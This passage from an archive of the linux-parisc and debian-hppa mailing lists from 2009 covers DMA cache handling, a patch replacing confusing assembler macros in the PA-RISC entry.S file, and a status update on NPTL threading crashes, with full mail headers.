> > But that makes it sound like ordinary streaming DMA from a device to
> > user space ... that's what the dma_map_xx APIs are already designed to
> > handle:  I don't understand why you need coherent memory for this (which
> > can be a scarce resource on some platforms).

> The streaming APIs are inefficient for this.  Consider the overhead of
> having to writeback and invalidate caches at 200KB/s (which is what
> you're requiring ARM to do).  That's far too much CPU overhead.

Um, but streaming APIs are what we use for all block and network I/O
from user space ... we don't see huge performance problems running up to
gigabits.  Even on parisc where we have to flush several times to make
this happen we can get up to several hundred megabytes per second.

> It's much more efficient to use non-cached memory for this on ARM.
> 
> We've been doing this for years and years, it's well proven.
> 
> > Why?  The dma_map_xx API is designed to be zero copy.
> 
> Except with a rather large overhead of repetitive cache handling.

OK, so this is the bit I don't get ... why isn't the streaming a problem
for I/O then, which even on arm wants far more than 200kb/s?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Fri, 10 Jul 2009 20:12:26 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <20090711001227.A62D64FE0@hiauly1.hia.nrc.ca>
References: <1247241171.3936.18.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247271164 21182 80.91.229.12 (11 Jul 2009 00:12:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 Jul 2009 00:12:44 +0000 (UTC)
Cc: grundler@parisc-linux.org, artem.alimarine@stromasys.com,
	linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 11 02:12:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPQCf-0008T4-Or
	for glpp-linux-parisc@gmane.org; Sat, 11 Jul 2009 02:12:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753485AbZGKAMc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 20:12:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755769AbZGKAMc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 20:12:32 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4496 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753485AbZGKAMb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 20:12:31 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A62D64FE0; Fri, 10 Jul 2009 20:12:26 -0400 (EDT)
In-Reply-To: <1247241171.3936.18.camel@mulgrave.site> from "James Bottomley" at Jul 10, 2009 03:52:51 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1918
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1918>

> Yes, looks like we've got a set of cockups in this file.  Apparently gas
> is evaluating depi as the macro DEPI, which seems to be correct for
> every other case in the file I've looked at except this one.

Yikes!  Macro and instruction mneumonics are case independent.  The
same issue applies to the EXTR and DEP macros.  It appears these macros
were intended to provide consistent PA 1.x and PA 2.0 mneumonics.
However, depwi isn't technically a valid PA 1.x instruction although
gas may not care.  This could present a problem for PA 1.x builds if
gas treats .level strictly.

The macro names really should be changed.  Looking at the code, I didn't
realize that depi was a macro...

> I suppose the whole file needs fixing ... preferably with a macro whose
> name isn't an instruction mnemonic.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Fri, 10 Jul 2009 20:30:51 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20090711003052.AF4554F19@hiauly1.hia.nrc.ca>
References: <20090711001227.A62D64FE0@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247272293 23328 80.91.229.12 (11 Jul 2009 00:31:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 Jul 2009 00:31:33 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, grundler@parisc-linux.org,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 11 02:31:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPQUu-0004KG-GI
	for glpp-linux-parisc@gmane.org; Sat, 11 Jul 2009 02:31:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757472AbZGKAbB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 20:31:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757558AbZGKAbA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 20:31:00 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4501 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757472AbZGKAbA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 20:31:00 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id AF4554F19; Fri, 10 Jul 2009 20:30:52 -0400 (EDT)
In-Reply-To: <20090711001227.A62D64FE0@hiauly1.hia.nrc.ca> from "John David Anglin" at Jul 10, 2009 08:12:26 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1919
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1919>

> The macro names really should be changed.  Looking at the code, I didn't
> realize that depi was a macro...

It looks to me like these macros can be deleted.  For example, the PA 1.x
depi mneumonic is equivalent to the PA 2.0 depwi mneumonic.  See Table
J-2 in PA 2.0 arch.  There's no need for the 64-bit versions.  The PA 1.x
mneumonics are still valid in PA 2.0 assembler.  However, I would suggest
that the PA 2.0 mneumonics be used in PA 2.0 specific code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Fri, 10 Jul 2009 21:05:12 -0400 (EDT)
Lines: 99
Approved: news@gmane.org
Message-ID: <20090711010513.38B824FE2@hiauly1.hia.nrc.ca>
References: <20090711003052.AF4554F19@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247274327 26846 80.91.229.12 (11 Jul 2009 01:05:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 Jul 2009 01:05:27 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, grundler@parisc-linux.org,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 11 03:05:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPR1j-0002wM-2W
	for glpp-linux-parisc@gmane.org; Sat, 11 Jul 2009 03:05:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750824AbZGKBFS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 21:05:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750825AbZGKBFS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 21:05:18 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4507 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750824AbZGKBFR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 21:05:17 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 38B824FE2; Fri, 10 Jul 2009 21:05:12 -0400 (EDT)
In-Reply-To: <20090711003052.AF4554F19@hiauly1.hia.nrc.ca> from "John David Anglin" at Jul 10, 2009 08:30:51 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1920
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1920>

> It looks to me like these macros can be deleted.  For example, the PA 1.x
> depi mneumonic is equivalent to the PA 2.0 depwi mneumonic.  See Table
> J-2 in PA 2.0 arch.  There's no need for the 64-bit versions.  The PA 1.x
> mneumonics are still valid in PA 2.0 assembler.  However, I would suggest
> that the PA 2.0 mneumonics be used in PA 2.0 specific code.

The following still boots (64-bit UP kernel).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index ae3e70c..896791a 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -364,32 +364,6 @@
 	.align		32
 	.endm
 
-	/* The following are simple 32 vs 64 bit instruction
-	 * abstractions for the macros */
-	.macro		EXTR	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	extrd,u		\reg1,32+(\start),\length,\reg2
-#else
-	extrw,u		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEP	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	depd		\reg1,32+(\start),\length,\reg2
-#else
-	depw		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEPI	val,start,length,reg
-#ifdef CONFIG_64BIT
-	depdi		\val,32+(\start),\length,\reg
-#else
-	depwi		\val,\start,\length,\reg
-#endif
-	.endm
-
 	/* In LP64, the space contains part of the upper 32 bits of the
 	 * fault.  We have to extract this and place it in the va,
 	 * zeroing the corresponding bits in the space register */
@@ -442,19 +416,19 @@
 	 */
 	.macro		L2_ptep	pmd,pte,index,va,fault
 #if PT_NLEVELS == 3
-	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
+	extru		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
 #else
-	EXTR		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
+	extru		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 #endif
-	DEP             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	dep             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	copy		%r0,\pte
 	ldw,s		\index(\pmd),\pmd
 	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
-	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
+	dep		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
 	copy		\pmd,%r9
 	SHLREG		%r9,PxD_VALUE_SHIFT,\pmd
-	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
-	DEP		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	extru		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
+	dep		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
 	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
@@ -553,7 +527,7 @@
 	 * on most of those machines only handles cache transactions.
 	 */
 	extrd,u,*=	\pte,_PAGE_NO_CACHE_BIT+32,1,%r0
-	depi		1,12,1,\prot
+	depdi		1,12,1,\prot
 
 	/* Drop prot bits and convert to page addr for iitlbt and idtlbt */
 	convert_for_tlb_insert20 \pte
@@ -605,7 +579,7 @@
 	depdi		0,31,32,\tmp
 #endif
 	copy		\va,\tmp1
-	DEPI		0,31,23,\tmp1
+	depi		0,31,23,\tmp1
 	cmpb,COND(<>),n	\tmp,\tmp1,\fault
 	ldi		(_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),\prot
 	depd,z		\prot,8,7,\prot
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Status update on NPTL
Date: Sat, 11 Jul 2009 10:17:14 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <119aab440907110717q1c55d329jbdf17924e0929804@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247321846 22535 80.91.229.12 (11 Jul 2009 14:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 Jul 2009 14:17:26 +0000 (UTC)
To: Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 11 16:17:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPdOA-0007Yw-Go
	for glpp-linux-parisc@gmane.org; Sat, 11 Jul 2009 16:17:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751211AbZGKORR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jul 2009 10:17:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751416AbZGKORR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 11 Jul 2009 10:17:17 -0400
Original-Received: from mail-ew0-f226.google.com ([209.85.219.226]:45485 "EHLO
	mail-ew0-f226.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751211AbZGKORQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Jul 2009 10:17:16 -0400
Original-Received: by ewy26 with SMTP id 26so1696724ewy.37
        for <linux-parisc@vger.kernel.org>; Sat, 11 Jul 2009 07:17:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        bh=+3B2hF+np+dmptfYiQOwLTq6IYLc8PzTrbbcYETiDzg=;
        b=CHo1jhRdHpOpzBU++IFgh5hF9JDf86aXp8c+Tr5bNPO/EOOrW8dnctv8kdruV8Kimr
         JtICinIEiem5aBxqEUc3LMxl6n4HW4wtr3N9ktd38AjX9yWG11pOwTSbbCMFRP4sNe8O
         KIiMMbv3XXW+KcwMO6NdPxuQ28kpIIeBy+Ykw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        b=kYT9H/OWAV+h8qX8+LjvTCVs763485lqtlkeivM6qnm6t1PnIFCMmPVwZvTlvQ3zGP
         GklSdzT+8fpnnx6HfrKDp3iLmXkdtl0KyqiHVPYpzp5RZ0D1yB4rH4c8c16mMYfYQytY
         C09XJ0HlWnJAfbaX3ugU4cIXwRSk0HX0GThF8=
Original-Received: by 10.216.47.213 with SMTP id t63mr904380web.134.1247321834597; Sat, 
	11 Jul 2009 07:17:14 -0700 (PDT)
X-Google-Sender-Auth: 51973511dd854360
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1921 gmane.linux.debian.ports.hppa:5832
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1921>

Deiban hppa users,

The NPTL patches were updated to 2.10 several weeks ago, but full
chroot testing showed that more complex applications like xhcat or
xterm would crash. My usability testing involves vnc4server +
x-window-manager + serveral X applications. If anyone has any other
use cases they would like me to test, please let me know.

I've been investigating the crashes, but because of problems with gdb
and strace I've had to take it slow. Kyle, I have your recent strace
patches in my queue to test. Thanks for that.

I've been building up a test case, and I can debug a simple nptl
threaded application with gdb.

The crashes in xterm using the new nptl libraries appear to be the NSS
modules (dynamically loaded modules).

I've augmented the testcase to use NSS, but I can still successfully
debug an nptl threaded application that uses NSS.

I have a couple more ideas to test, but after that my next step is to
rebuild xterm with debugging symbols and dig in to figure out exactly
what's crashing.

Thanks for your time!

Cheers,
Carlos,
-the-hppa-glibc-maintiner
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status update on NPTL
Date: Sat, 11 Jul 2009 16:46:25 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20090711204625.GA31925@bombadil.infradead.org>
References: <119aab440907110717q1c55d329jbdf17924e0929804@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1247345203 17148 80.91.229.12 (11 Jul 2009 20:46:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 Jul 2009 20:46:43 +0000 (UTC)
Cc: Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 11 22:46:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPjSu-00033c-7B
	for glpp-linux-parisc@gmane.org; Sat, 11 Jul 2009 22:46:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753918AbZGKUqd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jul 2009 16:46:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754159AbZGKUqd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 11 Jul 2009 16:46:33 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49978 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753918AbZGKUqc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Jul 2009 16:46:32 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MPjSj-00035q-TB; Sat, 11 Jul 2009 20:46:25 +0000
Content-Disposition: inline
In-Reply-To: <119aab440907110717q1c55d329jbdf17924e0929804@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1922 gmane.linux.debian.ports.hppa:5839
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1922>

On Sat, Jul 11, 2009 at 10:17:14AM -0400, Carlos O'Donell wrote:
> I've been investigating the crashes, but because of problems with gdb
> and strace I've had to take it slow. Kyle, I have your recent strace
> patches in my queue to test. Thanks for that.
> 

Which ones? It would be good if some heavy debugger users could test the
changes in the tracehook branch with coredumps... I'll try to do a build
of strace using PTRACE_{GET,SET}REGS instead of PEEK & POKE for extra
testing there as well, but it seems to be working well enough for me.

> I've been building up a test case, and I can debug a simple nptl
> threaded application with gdb.
> 
> The crashes in xterm using the new nptl libraries appear to be the NSS
> modules (dynamically loaded modules).
> 
> I've augmented the testcase to use NSS, but I can still successfully
> debug an nptl threaded application that uses NSS.
> 
> I have a couple more ideas to test, but after that my next step is to
> rebuild xterm with debugging symbols and dig in to figure out exactly
> what's crashing.
> 

Cool. Congrats!

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Status update on NPTL
Date: Sat, 11 Jul 2009 17:06:52 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440907111406g6ac13645h6c9fc2174cc19ad2@mail.gmail.com>
References: <119aab440907110717q1c55d329jbdf17924e0929804@mail.gmail.com>
	 <20090711204625.GA31925@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247346437 19826 80.91.229.12 (11 Jul 2009 21:07:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 Jul 2009 21:07:17 +0000 (UTC)
Cc: Debian HPPA Port List <debian-hppa@lists.debian.org>, 
	linux-parisc <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat Jul 11 23:07:10 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPjmn-0002rt-Fh
	for debian-hppa@m.gmane.org; Sat, 11 Jul 2009 23:07:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 31A064CA223; Sat, 11 Jul 2009 21:07:09 +0000 (UTC)
Old-Return-Path: <patofiero@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-4.2 required=4.0 tests=FOURLA,LDO_WHITELIST,
	MURPHY_DRUGS_REL8,SARE_MSGID_LONG40 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 4A54A4CA221
	for <lists-debian-hppa@liszt.debian.org>; Sat, 11 Jul 2009 21:07:02 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.243 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, SARE_MSGID_LONG40=0.637] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id rSD42JwkQuGC for <lists-debian-hppa@liszt.debian.org>;
	Sat, 11 Jul 2009 21:06:57 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -6.9
Original-Received: from mail-ew0-f221.google.com (mail-ew0-f221.google.com [209.85.219.221])
	by liszt.debian.org (Postfix) with ESMTP id D75B713A5FEB
	for <debian-hppa@lists.debian.org>; Sat, 11 Jul 2009 21:06:55 +0000 (UTC)
Original-Received: by ewy21 with SMTP id 21so842410ewy.30
        for <debian-hppa@lists.debian.org>; Sat, 11 Jul 2009 14:06:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=uKRPk4BPJkGx5ax5q5ud2TBnrvH60LezKoumkfnDQWg=;
        b=DWplQUhATJPz5xtOD51mv0/vdJ1gRXKm+uTpaHcZ1KHFT2CeWtu1WlIudyKQMXFfqL
         rlldZfELEZqlUBIug0Cy2Dxj8EVbUMC3ZMjhUZ0hsFTgHGn0ZMkykcYXs88T6WsjrJ5j
         oQlm43ga3HfXhL788Q1N6CvphJ50Hw/AbNF8I=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=dJjDL5Tdqv3VSBbjTRlQojO0xmWo3IL1JWdbbPMjOB9Xi+WyilcyN+xrzJlZ0EImqO
         F7pEt1+qa2Slm+xnib4i7A1+yDuNk39rOZSqung/PbTg4wvINgc9f9DAoCw3FmSBfftD
         8j8tWSgoA3O7KfTLYLlICp5FHoZDneIvSZbE4=
Original-Sender: patofiero@gmail.com
Original-Received: by 10.216.53.199 with SMTP id g49mr943872wec.49.1247346412907; Sat, 
	11 Jul 2009 14:06:52 -0700 (PDT)
In-Reply-To: <20090711204625.GA31925@bombadil.infradead.org>
X-Google-Sender-Auth: 4e12ee7cb7152160
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <XptSNNHomKE.A.D5G.97PWKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6838
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat, 11 Jul 2009 21:07:09 +0000 (UTC)
